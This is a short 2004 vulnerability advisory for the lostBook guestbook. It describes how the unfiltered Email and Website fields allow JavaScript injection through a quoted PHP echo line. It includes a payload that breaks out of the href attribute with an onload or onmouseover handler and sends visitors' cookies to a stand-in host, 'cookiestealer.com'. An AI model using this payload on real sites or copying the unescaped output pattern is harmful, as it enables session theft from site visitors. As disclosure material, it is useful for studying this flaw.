-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Product:  lostBook
vendor: veryLost (verylost.tk)
Affected Versions:  1.1 and lower
Description:  A simple flat db guestbook
Vulnerabilities:  XSS
Date:  July 29, 2004
Vuln Finder: r3d5pik3 (me)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
1.) About
2.) Javascript Execution
3.) Vendor Notice
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
(o_O)oOoOoOo [ About ] oOoOoOo(O_o)

Ok the only reason i consider this javascript execution instead of XSS. Is simply because you cant inject html like you can in most XSS vulnrabilities.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
(o_O)oOoOoOo [ JScript Execution ] oOoOoOo(O_o)

On the write entry page of the guest book there are 4 fields: Name, Email, Website, Entry. The Email and Website feild go through no filtering, and a malicous hacker could use that to insert javascript.

Example:
The Website data gets parsed like so
if(isset($web) && $web != "" && $web != " ") echo ' <a href="'.$web.'"><img src="'.$path2files.'website.gif" border="0" alt="'.$web.'"></a>';

An attacker would go about injecting xss by the following ways.
Inputting the following into either email or website field.
r3d5pik3.com" onload="document.location='http://www.cookiestealer.com?cookie='+document.cookie
if onload doesnt work they could simply use onmouseover instead
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
(o_O)oOoOoOo [ Vendor Notification ] oOoOoOo(O_o)

A couple seconds ago.

-r3d5pik3
ph33r t3h r3d 1z !!!